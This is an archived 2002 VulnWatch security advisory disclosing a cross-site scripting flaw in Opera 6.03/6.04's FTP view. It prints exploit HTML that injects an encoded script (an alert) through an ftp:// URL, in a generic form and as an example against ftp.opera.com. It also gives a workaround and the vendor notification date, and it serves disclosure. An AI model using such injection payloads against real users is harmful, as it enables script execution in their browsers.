

# [VulnWatch] Opera FTP View Cross-Site Scripting Vulnerability

**Source:** <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2002-08/0011.html>

---

**From:** Eiji James Yoshida ([ptrs-ejy@bp.ij4u.or.jp](mailto:ptrs-ejy@bp.ij4u.or.jp))  
**Date:** 08/06/02

From: "Eiji James Yoshida" <[ptrs-ejy@bp.ij4u.or.jp](mailto:ptrs-ejy@bp.ij4u.or.jp)>  
To: <[vulnwatch@vulnwatch.org](mailto:vulnwatch@vulnwatch.org)>  
Date: Tue, 6 Aug 2002 16:15:59 +0900

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1

Title:

~~~~~

Opera FTP View Cross-Site Scripting Vulnerability

Date:

~~~~~

4 August 2002

Author:

~~~~~

Eiji James Yoshida [[ptrs-ejy@bp.ij4u.or.jp](mailto:ptrs-ejy@bp.ij4u.or.jp)]

Risk:

~~~~~

Medium

Vulnerable:

~~~~~

Windows2000 SP2 Opera 6.03

Windows2000 SP2 Opera 6.04

Overview:

~~~~~

Opera allows running Malicious Scripts due to a bug in 'FTP view' feature.  
If you click on a malicious link, the script embedded in URL will run.

## VulnWatch: [VulnWatch] Opera FTP View Cross-Site Scripting Vulnerability

### Details:

~~~~~

This problem is in 'FTP view' feature.  
The '<title>URL</title>' is not escaped.

### Exploit code:

~~~~~

```
<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@[FTPserver]/">
</head>
<body>
<script>window.open("ftp://[FTPserver]");</script>
</body>
</html>
```

### Example:

```
<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@ftp.opera.com/">
</head>
<body>
<script>window.open("ftp://ftp.opera.com");</script>
</body>
</html>
```

### Demonstration:

~~~~~

<http://www.geocities.co.jp/SiliconValley/1667/advisory04e.html>

### Workaround:

~~~~~

Disable JavaScript.

### Vendor status:

~~~~~

Opera Software ASA was notified on 30 June 2002.

---

Eiji "James" Yoshida  
penetration technique research site  
E-mail: [zaddik@geocities.co.jp](mailto:zaddik@geocities.co.jp)  
URL: <http://www.geocities.co.jp/SiliconValley/1667/index.htm>

-----BEGIN PGP SIGNATURE-----

Version: PGP 6.5.8ckt

Comment: Eiji James Yoshida

iQA/AwUBPU92oTnqpMRtMot1EQKN1gCcCsMtg6cAEBGMdfupW/WvmYII+R0AoK1E  
JiccWmvatZQwH9YV3FX8q1pv  
=eHkj

-----END PGP SIGNATURE-----

---

- **Previous message:** [Eiji James Yoshida: "\[VulnWatch\] Mozilla FTP View Cross-Site Scripting Vulnerability"](#)
- **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)